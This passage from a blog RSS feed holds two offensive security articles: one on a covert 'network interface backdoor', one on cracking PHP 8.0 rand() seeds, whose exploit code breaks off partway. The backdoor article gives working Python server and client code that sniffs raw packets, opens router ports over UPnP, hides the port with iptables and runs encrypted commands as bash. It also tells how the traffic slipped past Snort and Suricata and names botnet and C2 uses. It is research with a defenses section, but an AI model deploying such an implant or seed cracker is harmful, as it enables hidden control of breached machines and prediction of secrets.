Travis Vaught, and Jarrod Millman (Eds), (Pasadena, CA USA), pp. 11–15, Aug 2008</li><li>b0t, “The RedKing Hivemind.” <em>Black Mass</em>, edited by smelly_vx, vol. 1, VX-Underground, Monee, IL, 2023, pp. 89–96.</li><li>Mason A. Porter (2012), Small-world network. Scholarpedia, 7(2):1739., revision #198607</li><li>“Small-World Network.” <em>Wikipedia</em>, Wikimedia Foundation, 5 Nov. 2023, en.wikipedia.org/wiki/Small-world_network.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b64f2eed63f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sleeper Agents on the Wire — Network Interface Backdoors and the Challenges They Pose to Defenses]]></title>
            <link>https://medium.com/@moorejacob2017/sleeper-agents-on-the-wire-network-interface-backdoors-and-the-challenges-they-pose-to-defenses-564c293d5c95?source=rss-9e2a8967b008------2</link>
            <guid isPermaLink="false">https://medium.com/p/564c293d5c95</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Jacob Moore]]></dc:creator>
            <pubDate>Tue, 14 Nov 2023 01:00:09 GMT</pubDate>
            <atom:updated>2023-11-14T12:51:15.814Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sleeper Agents on the Wire — Network Interface Backdoors and the Challenges They Pose to Defenses</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*xFDQFzLThFqP4Kj9FRf_7w.png" /><figcaption>Backdoor icons created by monkik — <a href="https://www.flaticon.com/free-icons/backdoor">https://www.flaticon.com/free-icons/backdoor</a></figcaption></figure><h3>Disclaimer</h3><p>By continuing to read this article, you acknowledge that you accept the responsibility to use the information contained herein in an ethical and legal manner. The author of this article strongly advocates for the ethical use of cybersecurity knowledge and disclaims any support for illegal activities. This article is intended for educational and ethical purposes, aiming to enhance the knowledge of cybersecurity professionals. Readers are encouraged to use this information responsibly and within legal and ethical boundaries. The author holds no liability for any actions taken based on this information.</p><h3>Introduction</h3><p>Let’s start with the following thought experiment.</p><p>You are tasked with adding additional Command &amp; Control mechanisms to a breached computer. You have only one opportunity to run any script or executable as root, but afterward, the machine will undergo the following changes:</p><ol><li>An Intrusion Detection System (IDS) will be deployed on the local network. In addition to its conventional IDS tasks, this system can also scan hosts for open ports and will issue alerts if it detects any ports in use.</li><li>The compromised machine will then activate its host-based firewalls and drop all inbound and outbound traffic. For additional challenge, let’s say that this cannot be disabled for one reason or another.</li></ol><p><em>What will you run to allow you to continue issuing commands to the compromised computer?</em></p><p>While this scenario might seem a little far-fetched in its current form, its solution has implications that extend far beyond the theoretical, bringing to light significant issues in the greater cybersecurity community. Presented herein is a Proof of Concept (PoC) that showcases a potentially novel exploitation technique or one that is seldomly discussed at best. This PoC aims to highlight its significance and the reasons as to why it deserves attention by incorporating a handful of well-established adversarial techniques.</p><h3>Network Interface Backdoors</h3><p>In essence, Network Interface Backdoors represent a novel variation of traditional network sniffing attacks. These backdoors leverage the Physical and Link layers of network interfaces, effectively transforming them into covert communication channels for transmitting commands to compromised hosts without the necessity of establishing connections or opening ports.</p><p>Since the network interface operates independently of the logical networking layers above it and doesn’t store any information about the networking state of the machine, it intercepts all incoming packets, regardless of the overlaying logical networking. In fact, this even circumvents host-based firewall rules, as host-based firewalls typically serve as a logical barrier between the interface and the ports.</p><p>An apt analogy, albeit somewhat cheesy, is likening these backdoors to sleeper agents. Similar to how sleeper agents remain dormant until activated by a specific keyword, compromised network interfaces remain passive until triggered by the right IP/TCP packet. No connection needs to be made. The only requirement is that the malicious traffic reaches the host in some way.</p><h3>Creating a Network Interface Backdoor</h3><p>In this section, we’ll create a Python-based backdoor and its client. It’s worth noting that this technique isn’t limited to Python and can be adapted to other low-level languages without relying on third-party packages. The full code can be found here: <a href="https://github.com/moorejacob2017/Network_Interface_Backdoors/">https://github.com/moorejacob2017/Network_Interface_Backdoors/</a></p><p>As a basic example, we can create a listener that sniffs traffic on the loopback interface (lo) and prints information about TCP frames. However, it will only display this information when traffic is directed to port 12345.</p><pre># BASIC SERVER<br>import socket<br>from scapy.all import Ether, IP, TCP<br># --------------------------------------------------------------------<br>def capture_tcp_frame(interface, port):<br>    # Create a raw socket to capture packets/frames<br>    sniffer = socket.socket(<br>        socket.AF_PACKET,<br>        socket.SOCK_RAW,<br>        socket.htons(3)<br>    )<br>    sniffer.bind((interface, 0))<br><br>    try:<br>        while True:<br>            raw_packet, _ = sniffer.recvfrom(65535)  # Capture a packet          <br>            packet = Ether(raw_packet)<br><br>            # Check if it&#39;s an IP packet and has a TCP layer<br>            if IP in packet and TCP in packet:<br>                ip_packet = packet[IP]<br>                tcp_frame = packet[TCP]<br><br>                # Check if it&#39;s a TCP frame with the desired destination port<br>                if tcp_frame.dport == port:<br>                    sniffer.close()<br>                    return tcp_frame # Return the caught packet<br><br>    except KeyboardInterrupt: # Close the sniffer on ^C<br>        sniffer.close()<br>        raise KeyboardInterrupt<br># --------------------------------------------------------------------<br># Basic Driver, Continuously listen for packets<br>#   to port 12345 on the Loopback interface (lo)<br>while True: <br>    p = capture_tcp_frame(&#39;lo&#39;, 12345)<br>    print(p.show()) # Print out frame info</pre><p>As for the basic client, we’ll send a modified IP/TCP packet. The payload will be a generic ASCII string destined for 127.0.0.1 on port 12345. We’ll modify the TCP frame attributes, setting the sequence number to 1234, the acknowledgment number to 5678, and enabling the PSH and ACK flags.</p><pre># BASIC CLIENT<br>from scapy.all import Ether, IP, TCP, send, Raw<br>from random import randint<br># --------------------------------------------------------------------<br>def send_tcp_frame(destination_ip, destination_port, payload, seq, ack, flags):<br>    ip_packet = IP(dst=destination_ip)<br>    tcp_frame = TCP(<br>        dport=destination_port,<br>        sport=randint(10000,60000), # Source Port does not matter for our case<br>        seq=seq,<br>        ack=ack,<br>        flags=flags,<br>        options=[(&quot;NOP&quot;, None)] # &quot;No Operation&quot;<br>    )<br>    # Build out the packet<br>    special_packet = ip_packet / tcp_frame / Raw(load=payload)<br>    send(special_packet, verbose=0)<br># --------------------------------------------------------------------<br># Basic Driver, Send a packet down range<br>send_tcp_frame(<br>    destination_ip=&#39;127.0.0.1&#39;, # Will be delivered on Loopback (lo)<br>    destination_port=12345,<br>    payload=b&#39;Hello, World&#39;,<br>    seq=1234,<br>    ack=5678,<br>    flags=&#39;PA&#39; # PSH/ACK<br>)</pre><p>Once we are done, we can run the backdoor and use the client to send our crafted packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*fQmOhCNkSXbzkiisc3x0Xg.png" /><figcaption>Print out of the modified TCP frame</figcaption></figure><p>With a foundational concept in place, we can delve into creating more sophisticated backdoors that offer greater functionality and versatility. In the following PoC, we introduce a backdoor with the following features:</p><ul><li>Upon launch, the backdoor can dynamically open ports on the local gateway using UPnP (Universal Plug and Play) to forward incoming traffic to the compromised machine.</li><li>The backdoor listens on the same network interface that was used for UPnP, making it vigilant for specific incoming network traffic.</li><li>It actively monitors for a specific type of TCP frame that is destined for port 12345, bears a sequence number of 1736489045, has an acknowledgment number of 3307312975, and has the PSH and ACK flags set. The port, sequence number, and acknowledgment values are arbitrary and are only used to distinguish the frame, while the PSH/ACK flags help to ensure that the frame is discarded if sent to closed ports.</li><li>It has the option to create an iptables rule to drop all external traffic to the specified port, giving the impression to port scanners that traffic is being dropped at the gateway instead of the host.</li><li>The backdoor decrypts TCP payloads using a 256-bit Fernet key shared between the backdoor and the client, ensuring secure communication.</li><li>It executes the decrypted payload as a bash command, enabling remote control and interaction.</li></ul><p>Below is a shortened version of the Python code for the server-side implementation of this advanced backdoor:</p><pre>#!/usr/bin/python3<br># SERVER<br><br># ...Imports...<br># --------------------------------------------------------------------<br># Utilities<br>def capture_tcp_frame(interface, port):... # Explained above<br>def get_interface(ip):... # Get the interface using ip<br>def get_cidr(ip, interface):... # Get the network cidr given by interface &amp; ip<br>     # (NOTE: ip here is required because interfaces can have multiple ips)<br>def get_internal_ip(igd_ip):... # Get the internal ip addr given the gateway<br><br># Function to decrypt binary data with the Fernet key<br>def decrypt_with_aes_key(key, encrypted_data):<br>    fernet = Fernet(key)<br>    decrypted_data = fernet.decrypt(encrypted_data)<br>    return decrypted_data<br><br># Custom Bash Command class using non-blocking file<br>#   descriptors, prevents deadlocks caused by the<br>#   default functionalities of subprocess.Popen()<br>class Bash_Command:<br>    def __init__(self, cmd):... # Standard init<br>    def run(self):... # Run the command and save the output<br><br># Custom Class for handling UPnP comms with the gateway, opens<br>#   up ports to allow attacker to get to devices<br>#   uses &quot;upnpy&quot; package (https://pypi.org/project/UPnPy/)<br> class UPnP_Manager<br>    def __init__(self, port):... # Standard init, takes the forward port<br>    def update_network_info(self):... # Get general network info<br>    def get_machine_network_info(self):... # Get return interface, ip, port<br>    def open_upnp(self):... # Open up port forwarding with UPnP<br>    def close_upnp(self):... # Close port forwarding with UPnP<br># --------------------------------------------------------------------<br># ...Main...<br># ...Privilege Check...<br># ...ArgParse Setup...<br># ...Get Network Info...<br># ...Open UPnP...<br><br># Static Symmetric Fernet Key (from cryptography.fernet import Fernet)<br>key = b&#39;Au_dVY1CKhFgaK4RW1kUPpJm_JqYqV7cOJej5tSFVUk=&#39;<br><br>interface = &#39;eth0&#39; # Obtained and managed by the UPnP_Manager<br>port = 12345 # Obtained by argparse and managed by the UPnP_Manager<br>key_seq = 1736489045<br>key_ack = 3307312975<br>key_flags = &#39;PA&#39;<br><br>try:<br>    while True:<br>        p = capture_tcp_frame(interface, port) # Catch a frame<br>        <br>        # Check if the frame is a key frame<br>        if p.seq == key_seq and p.ack == key_ack and p.flags == key_flags:<br>            # Decrypt the payload and run the command<br>            command = decrypt_with_aes_key(key, p.load).decode(&#39;utf-8&#39;)<br>            c = Bash_Command(command)<br>            c.run()<br><br>except Exception as e: # Catch any Exception<br>    print(f&#39;[\033[91m-\033[0m] Exception: {e}&#39;)<br>except KeyboardInterrupt: # Catch ^C<br>    print(&#39;\n[\033[94m*\033[0m] Server interrupted. Closing gracefully...&#39;)<br># ...Close UPnP...<br><br># usage: backdoor.py [-h] -p PORT [--no-upnp] [--no-drop] [--lo]<br># options:<br>#   -h, --help            show this help message and exit<br>#   -p PORT, --port PORT  Specify the port<br>#   --no-upnp             Do not attempt to use UPnP<br>#   --no-drop             Do not try to use iptables to drop packets<br>#   --lo                  Use loopback as interface (debug/testing)</pre><p>The backdoor client is remarkably simple. Since all it does is get a command from the user, encrypt it, and then send the key frame, it is a straight-forward process given the basic example that was created earlier.</p><pre>#!/usr/bin/python3<br># CLIENT<br><br># ...Imports...<br># --------------------------------------------------------------------<br># Utilities<br>def send_tcp_frame(destination_ip, destination_port, payload, seq, ack, flags):<br>... # Explained above<br>def encrypt_with_aes_key(key, binary_data):<br>    fernet = Fernet(key)<br>    encrypted_data = fernet.encrypt(binary_data)<br>    return encrypted_data<br># --------------------------------------------------------------------<br># ...Main...<br># ...Privilege Check...<br># ...ArgParse Setup...<br>args = parser.parse_args()<br><br># Static Symmetric Fernet Key (from cryptography.fernet import Fernet)<br>key = b&quot;Au_dVY1CKhFgaK4RW1kUPpJm_JqYqV7cOJej5tSFVUk=&quot;<br><br>command = &#39; &#39;.join(args.command) # Pull the command from CLI<br><br># Encrypt the command with the key<br>payload = encrypt_with_aes_key(key, command.encode(&#39;utf-8&#39;))<br>key_seq = 1736489045<br>key_ack = 3307312975<br>key_flags = &quot;PA&quot;<br><br>send_tcp_frame(<br>    args.host,<br>    args.port,<br>    payload,<br>    key_seq,<br>    key_ack,<br>    key_flags<br>)<br><br># usage: client.py [-h] --host HOST -p PORT --command ...<br># options:<br>#   -h, --help            show this help message and exit<br>#   --host HOST           Specify the host machine<br>#   -p PORT, --port PORT  Specify the port<br>#   --command ...         The command to execute</pre><p>With the the scripts complete, the backdoor is ready for activation. Upon executing the backdoor script, it initiates the creation of a corresponding port on the router through UPnP, allowing for the passage of network traffic to the network interface. Subsequently, the backdoor identifies the specific network interface to monitor and enters a waiting state, poised to receive a key TCP frame containing a command for execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*1m8hoFs1-tP1CtlNbhJRYA.gif" /><figcaption>Running a command against the backdoor</figcaption></figure><h3>Noteworthy Characteristics</h3><p>These particular backdoors exhibit intriguing characteristics worth exploring. The most distinctive trait is their ability to operate without relying on specific ports, making <em>any</em> incoming traffic a potential means of communication. For instance, if a compromised web server has HTTPS on port 443 in use, the backdoor can still intercept and respond to traffic bound for port 443 without necessitating a full connection between the client and server, facilitating command execution.</p><p>As previously mentioned, these backdoors also possess the capacity to circumvent host-based firewall rules. While they do require specific permissions to function, assuming that individuals with such permissions can simply disable host-based firewalls would be flawed logic. It’s crucial to note that a user can be granted permission to interact with network interfaces without the ability to disable the firewalls if the principles of least privilege are used. A pertinent example arises in the context of an IDS or IPS, where an administrator can create a user account tailored for the IDS/IPS’s network monitoring functions, thereby restricting their other privileges.</p><p>In relation to IDS/IPS systems, the client-generated packets remain remarkably inconspicuous, even when employing anomaly detection instead of signature-based detection methods. In experiments involving Snort and Suricata, neither system could identify any anomalies associated with the client’s activities. However, it’s worth acknowledging Suricata’s ability to detect UPnP traffic generated by the backdoor, which was due to the User-Agent header being set to “Python-urllib.” With that said, it was easily addressed by implementing a quick monkey patch to modify the User-Agent header before transmitting any traffic.</p><h3>A Matter of Dangerous Potential</h3><p>When considering the practical applications of these backdoors, their primary utility lies in C2 infrastructure. Nevertheless, there are additional scenarios where these backdoors exhibit considerable potential.</p><p>One noteworthy application is their relevance in the realm of malware development and botnet infrastructure. They offer an efficient and discreet means for machines to establish communication. In fact, the genesis of this research was centered around devising methods for constructing a decentralized Peer-to-Peer botnet.</p><p>Another promising application pertains to lateral movement, albeit not in the conventional sense. Given the technique’s ability to function at a low network stack layer, it can theoretically be employed in WiFi and 802.11 contexts. To illustrate, consider a scenario where a company employee employs a personal laptop at their workplace. If an attacker successfully compromises the employee’s laptop and deploys a network interface backdoor on their wireless network interface, they could issue commands by broadcasting 802.11 frames within close proximity. In this manner, the compromised laptop could serve as a pivot to attain code execution within the corporate network.</p><p>While this may constitute a niche scenario, and one would typically explore alternative attack vectors first, it underscores the potential for creative development using this particular technique in offensive tactics.</p><h3>Defenses</h3><p>Network Interface Backdoors serve as methods for establishing persistence within a network. In the context of kill chain models, these backdoors typically fall within the Command &amp; Control phase, which is second to last. Various preventive measures can be employed to thwart attackers from ever reaching this critical stage. These safeguards encompass adopting best practices, conducting penetration testing to uncover vulnerabilities, adhering to the principle of least privilege, deploying EDR solutions and SIEM systems, and utilizing an IDS or IPS, among others. Ideally, the goal is to prevent attackers from even having the opportunity to employ this technique.</p><p>Nevertheless, when executed effectively, this technique can be exceedingly challenging to detect and defend against. It is imperative not to hastily dismiss unfamiliar traffic. For instance, when reviewing network data dumps, it can be deceptively easy to overlook certain traffic as benign. In the case of this particular backdoor, it may manifest as a solitary, unassociated TCP packet with no prior connections, making it as challenging to identify as locating a needle in a haystack.</p><p>Furthermore, it might be prudent for the cybersecurity community to start considering the adoption of additional network security hardware that operates at a lower level. Similar to how Hardware Security Modules provide cryptographic security at the hardware level, it may be advantageous to explore the implementation of physical firewalls directly within network interface cards. This approach would enable the filtering of packets before they reach any logical barriers, bolstering network security.</p><h3>Conclusion</h3><p>In closing, the concept of Network Interface Backdoors, as presented in this article, poses a significant and potentially novel threat to cybersecurity. These backdoors, functioning at the physical and link layers of network interfaces, provide covert communication channels for attackers to issue commands to compromised hosts, bypassing conventional security measures such as host-based firewalls and intrusion detection systems. Their ability to operate without relying on specific ports and their potential applications in C2 infrastructure, malware development, and lateral movement make them a matter of dangerous potential. Defending against these backdoors is a complex challenge, and it may require the adoption of additional network security hardware at a lower level. Cybersecurity professionals must remain vigilant and explore comprehensive strategies to mitigate this threat effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=564c293d5c95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions]]></title>
            <link>https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01?source=rss-9e2a8967b008------2</link>
            <guid isPermaLink="false">https://medium.com/p/445229b83e01</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Jacob Moore]]></dc:creator>
            <pubDate>Wed, 18 Oct 2023 21:09:04 GMT</pubDate>
            <atom:updated>2023-10-20T22:28:34.467Z</atom:updated>
            <content:encoded><![CDATA[<h3>Abstract</h3><p>This article offers an in-depth exploration of the rand() and srand() functions in PHP 8.0, particularly focusing on the nuances of their random number generation and potential vulnerabilities. Drawing inspiration from PHP’s underlying C code, we’ll reverse engineer its mechanics, leading to the development of an exploit. This analysis was sparked by observing a PHP plugin that used rand() insecurely. While the goal is to shed light on these potential vulnerabilities, it’s essential to emphasize that this knowledge should be applied ethically and responsibly. Always prioritize the betterment of the digital community, ensuring that vulnerabilities are disclosed appropriately and used for constructive purposes only. This article encapsulates my extensive research, brainstorming, and developmental efforts on this topic.<br>Code and scripts can be found here: <a href="https://github.com/moorejacob2017/exploiting_phps_rand_function">https://github.com/moorejacob2017/exploiting_phps_rand_function</a></p><h3><strong>Basics of pseudo-random number generation</strong></h3><p>“How are random numbers generated?” It’s a simple question that can get complicated very quickly, but the basics are fairly straightforward. Random numbers are usually generated through algorithms that produce a sequence of numbers in a fashion that appears random, but are actually based on numbers produced earlier in the sequence. These algorithms are referred to as pseudo-random Number Generators, or PRNGs for short.</p><p>An example of a simple PRNG is the Linear Congruential Generator (LCG), which is defined as follows…</p><pre>X_n+1 = (a * X_n + c) % m</pre><p>Here a, c, and m are constants, X_n is the current number in the sequence, and X_n+1 is the next number in the sequence. Once we perform the operations to the right of the equal sign, the value we get is X_n+1, which then becomes the new X_n the next time we perform the operation, repeating the cycle to get the next number in the sequence.</p><p>However, the sequence has to start somewhere, right? So what number do we pick for X_0, the first number to be plugged into the algorithm? This first number is called the seed. Because most PRNGs are based on these styles of sequences, a given seed will always produce the exact same sequence of “random” numbers. This deterministic nature is why they are referred to as “pseudo-random” number generators. To avoid producing the same pattern of numbers every run, most seeds are generated using other unpredictable elements, like the current time or the movement of a user’s mouse.</p><p>For example, the following Python code uses the LCG method of random number generation to print three random numbers between 0 and 24 and will have the seed set to 10…</p><pre># Constants<br>a = 3<br>c = 7<br>m = 25<br><br># The Seed<br>X_0 = 10<br><br># Generating 3 Pseudo-Random Numbers using the LCG method<br>X_1 = (a * X_0 + c) % m<br>X_2 = (a * X_1 + c) % m<br>X_3 = (a * X_2 + c) % m<br><br>print(X_1, X_2, X_3)</pre><p>This code will always produce the numbers 12, 18, and 11. But if we increase the seed X_0 from 10 to 11, we will instead get the output of 15, 2, and 13. To make it feel more random, we can set the seed to the current time. This will cause the script to produce a different set of numbers every time it is run.</p><pre># Import the time() function<br>from time import time<br><br># Constants<br>a = 3<br>c = 7<br>m = 25<br><br># Set the Seed to the current epoch time in whole seconds<br>X_0 = int(time())<br><br># Generating 3 Pseudo-Random Numbers using the LCG method<br>X_1 = (a * X_0 + c) % m<br>X_2 = (a * X_1 + c) % m<br>X_3 = (a * X_2 + c) % m<br><br>print(X_1, X_2, X_3)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/182/1*KqaMMBHVahNYqnkkYEOlDA.gif" /><figcaption>Generating random numbers with the current time as the seed</figcaption></figure><h3>Exploits by deriving the seed</h3><p>A typical attack scenario is as follows…</p><blockquote>Alice hosts a lottery where a computer generates three random numbers. Anyone guessing all three numbers wins a prize. Upon being asked by Alice to guess, Bob, having knowledge that Alice utilized the LCG with a seed of 14 (and being aware of the LCG’s other parameters), can replicate the LCG using the same seed. This allows Bob to generate the identical sequence of numbers as Alice, thus providing the winning numbers and claiming the prize.</blockquote><p>While this example may appear simplistic, its premise bears similarities to real-world lotteries, including the Powerball in the United States and the EuroMillions in Europe.</p><p>The potential vulnerability in using seeds with weak PRNGs lies in the assumption that seeds are secretive and not known to unauthorized parties. If an attacker can deduce or obtain the seed, they can predict the generated random sequence. In our exploit, we focus on deriving the seed utilized by rand() and srand() to generate a series of numbers.</p><h3>The scenario</h3><p>For this demonstration, I will utilize the rand() function to generate 10 random numbers. My objective is to identify and generate the seed necessary to reproduce the exact same sequence. Once achieved, a confirmation message will be printed to the screen. Here&#39;s the PHP code to generate the random numbers (note that additional lines will be added later)…</p><pre>&lt;?php<br>    for ($i = 1; $i &lt;= 10; $i++) {<br>        echo &quot;RAND$i:&quot;.rand().&#39;|&#39;;<br>    }<br>?&gt;</pre><p>The rand() function implicitly calls srand() in the background. As a result, the seed remains unknown unless I can generate it independently and reproduce the same random sequence. The validation code that compares my generated numbers with the target numbers is shown below…</p><pre>&lt;?php<br>    $seed = &lt;my_generated_seed&gt;;<br>    srand((int)$seed);<br><br>    // The sequence of generated numbers to test against<br>    $targetNums = [<br>        104976659,<br>        1739634291,<br>        1500525663,<br>        1256266489,<br>        2105373119,<br>        1483350734,<br>        212261578,<br>        523521068,<br>        2050272690,<br>        2119931952<br>    ];<br>    $itr = 0;<br>    foreach ($targetNums as $num) {<br>        if (rand() !== $num) {<br>            break; // Exit if any number doesnt match<br>        }<br>        $itr = $itr + 1;<br>    }<br>    if ($itr == 10) {<br>        // If the list was exhausted then the seed was found<br>        echo &quot;\n----------------------------------\n&quot;;<br>        echo &quot;SUCCESS!\n&quot;;<br>        echo &quot;SEED: $seed\n&quot;;<br>        echo &quot;----------------------------------\n\n&quot;;<br>    }<br>?&gt;</pre><p>To paraphrase Scotty from <em>Star Trek</em> (2009), the odds of blindly guessing the same random numbers needed to get the print-out would be, “…like trying to hit a bullet with a smaller bullet whilst wearing a blindfold, riding a horse.”</p><h3>Tracing PHP’s underlying C code to find seed generation</h3><p>Further analysis requires us to read the source code that PHP is built with, which is fortunately posted on github, specifically the 8.0 version or earlier (<a href="https://github.com/php/php-src">php-src</a>). Starting with ext/standard/rand.c...</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*zMvatJmBK9M14O5Qq1HI_g.png" /><figcaption>PHP 8.0’s ext/standard/rand.c</figcaption></figure><p>We can confirm on line 32 and 39 that the C functions php_rand() and php_srand() have been aliased to php_mt_rand() and php_mt_srand() and that the implementation of the PHP function rand() uses the mt variants of the C functions. In our scenario, rand() is being called without arguments, meaning ZEND_NUM_ARGS() will return 0 and we will end up stepping into the php_mt_rand() function on line 51. This function can be found in ext/standard/mt_rand.c on line 157.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*ZdfhLBqwjpif-BJ7fwGxLQ.png" /><figcaption>PHP 8.0’s ext/standard/mt_rand.c</figcaption></figure><p>A quick glance and some interpretation shows that if the functions haven’t been seeded yet (line 164), then PHP will generate a seed of random bytes (line 167) and run php_mt_srand() with the bytes to set the seed (line 169). The important function here is GENERATE_SEED(), which will show us exactly how PHP picks a starting seed for its generators. This function is actually defined in the ext/standard/php_rand.h header file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*f0MwZ6rPUPRm900lgGgCmA.png" /><figcaption>PHP 8.0’s ext/standard/php_rand.h</figcaption></figure><p>This is essentially an if/else to determine which operating system is being used. I’m on Linux, so the GENERATE_SEED() definition is on line 66. With this function we have the first piece to the puzzle. To generate a seed, PHP requires 3 specific values returned by 3 different functions; time(0), getpid(), and php_combined_lcg().</p><pre>GENERATE_SEED() (((zend_long) (time(0) * getpid())) ^ ((zend_long) (1000000.0 * php_combined_lcg())))<br>//                               |          |                                           |<br>//                               |          |                                           |--- ???<br>//                               |          |--- Returns the PID of the PHP interpreter running the script<br>//                               |--- Returns the current epoch time</pre><p>Knowing from experience, time(0) will return the current epoch time of the system and getpid() returns the process id of the running process, but php_combined_lcg is a mystery. Luckily, the hint is in the name. lcg is short for &quot;Linear Congruential Generator,&quot; which is another type of PRNG. That&#39;s right! PHP&#39;s PRNG uses another PRNG to initialize a seed! This implementation leads us to ext/standard/lcg.c. Here we find php_combined_lcg() on line 51.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*TJU7HiWXvAKAJtKXdMl4gQ.png" /><figcaption>PHP 8.0’s php_combined_lcg in ext/standard/lcg.c</figcaption></figure><p>Two things are important here. The least important one is the LCG() function, which is just used to dereference elements of a php_lcg_globals struct that manages the LCG&#39;s seeded state and two other values. The struct and function are defined in ext/standard/php_lcg.h.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*T5Frvkx5MzfiyQngpEkf2A.png" /><figcaption>PHP 8.0’s php_lcg_globals in ext/standard/php_lcg.h</figcaption></figure><p>The more important thing to note is that when the primary php_lcg_globals struct has not been seeded (line 56), the lcg_seed() function is called, which is defined on line 72.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*IFaNh0HKOIj31MzVjtAp0Q.png" /><figcaption>PHP 8.0’s lcg_seed in ext/standard/php_lcg.h</figcaption></figure><p>This function will give us the final pieces that we need. Here’s the breakdown of how the LCG is seeded.</p><pre>static void lcg_seed(void)<br>{<br>    struct timeval tv;<br>//            |<br>//            |--- struct type returned by `gettimeofday()`.<br>//                 Has 2 elements: tv_sec is seconds (epoch time)<br>//                                 tv_usec is microseconds<br>//          <br>//          |---------- Gets the current epoch time with microsecond<br>//          |           precision and stores it in the `timeval` struct<br>//          |           that was passed by refrence (aka tv)<br>//          |           Returns 0 on success and -1 on error<br>//          |<br>    if (gettimeofday(&amp;tv, NULL) == 0) {<br>        LCG(s1) = tv.tv_sec ^ (tv.tv_usec&lt;&lt;11);<br>//     |                                      |<br>//     |--------------------------------------|<br>//     |<br>//     |--- Left shift the microseconds by 11 bits, XOR it with<br>//          the current epoch time, then store it as `s1` in<br>//          the primary `php_lcg_globals` struct<br><br><br>    } else {<br>        LCG(s1) = 1;//--- Only done on `gettimeofday` errors, not important<br>    }<br>#ifdef ZTS<br>    LCG(s2) = (zend_long) tsrm_thread_id();//--- Not important in our scenario<br>                                           //    Not executed<br>#else<br>    LCG(s2) = (zend_long) getpid();<br>// |------------------------------|<br>// |<br>// |--- Get the PID of the PHP interpreter and store it as<br>//      `s2` in the primary `php_lcg_globals` struct<br>#endif<br><br>//           |--- Get a new time and store it in `tv`<br>//           |    Note that `tv.tv_sec` is not used here<br>//           |<br>    if (gettimeofday(&amp;tv, NULL) == 0) {<br>        LCG(s2) ^= (tv.tv_usec&lt;&lt;11);<br>//     |---------------------------|<br>//     |<br>//     |--- Left shift the new microseconds by 11 bits, XOR it with<br>//          the PID (aka `s2`) and store it as `s2` in the primary<br>//          `php_lcg_globals` struct<br>    }<br><br>    LCG(seeded) = 1;//--- Mark that the generator has been seeded<br>}</pre><p>The LCG requires 4 different values to generate a seed; the current epoch time, the process id, and 2 different microsecond times. However, the first microsecond time can be brute forced, while the second microsecond can be treated as an offset. On top of that, after testing, it was found that no matter what the microsecond offset is, there are only 1 million possible seeds for any PID/Epoch pair, and it will start to generate duplicate seeds. This leaves us with the ability to treat it as a cracking problem. We will go ahead and obtain the epoch time and pid at runtime, brute force the microseconds and offset, use that information to generate a list of potential seeds, and then see which seed generates the sequence of numbers we are looking for.</p><h3>Planning and Exploit Development</h3><p>To generate seeds for the Linear Congruential and Mersenne Twister generators, we will obtain/manipulate four pieces of information:</p><ol><li>Epoch Time — Obtained at runtime.</li><li>PID — Obtained at runtime.</li><li>Microseconds — Brute-forced.</li><li>Microseconds + Offset — Brute-forced up to a predetermined amount.</li></ol><p>We will then write an exploit, reusing parts of the PHP source code, ensuring our values are injected into six different positions. This will create a PHP seed generator.</p><pre>//---------------------------------- Mersenne Twister Generator ----------------------------------------<br>//<br>//                            Epoch Time<br>//                                |        PID<br>//                                |         |    <br>GENERATE_SEED() (((zend_long) (time(0) * getpid())) ^ ((zend_long) (1000000.0 * php_combined_lcg())))<br>//                                                                                      |<br>//                                                                                      |<br>//                                               |--------------------------------------|<br>//                                               |<br>//                                               |<br>//--------------------------- Linear Congruential Generator (Stripped) ---------------------------------<br>//<br>static void lcg_seed(void)<br>{<br>//            Epoch Time<br>//                |        Microseconds<br>//                |             |<br>    LCG(s1) = tv.tv_sec ^ (tv.tv_usec&lt;&lt;11);<br><br>//                          PID<br>//                           |<br>    LCG(s2) = (zend_long) getpid();<br><br>//           Microseconds+Offset<br>//                   |<br>    LCG(s2) ^= (tv.tv_usec&lt;&lt;11);<br><br><br>    LCG(seeded) = 1;<br>}</pre><p>This leaves us with the following exploit.c file.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/time.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdint.h&gt;<br>#include &quot;zend_long.h&quot;<br>//==============================================================================<br>typedef struct {<br>    int32_t s1;<br>    int32_t s2;<br>    int seeded;<br>} php_lcg_globals;<br>//==============================================================================<br>#define MODMULT(a, b, c, m, s) q = s/a;s=b*(s-a*q)-c*q;if(s&lt;0)s+=m<br>//==============================================================================<br>#define GENERATE_BAD_SEED(a, b, c, d, e) (((zend_long) (c * b)) ^ ((zend_long) (1000000.0 * bad_php_combined_lcg(a,b,c,d,e))))<br>//==============================================================================<br>static void bad_lcg_seed(php_lcg_globals* lcg, int pid, long epoch, long uepoch, int uepochOffset)<br>{<br>    lcg-&gt;s1 = epoch ^ (uepoch&lt;&lt;11);<br>    lcg-&gt;s2 = (zend_long) 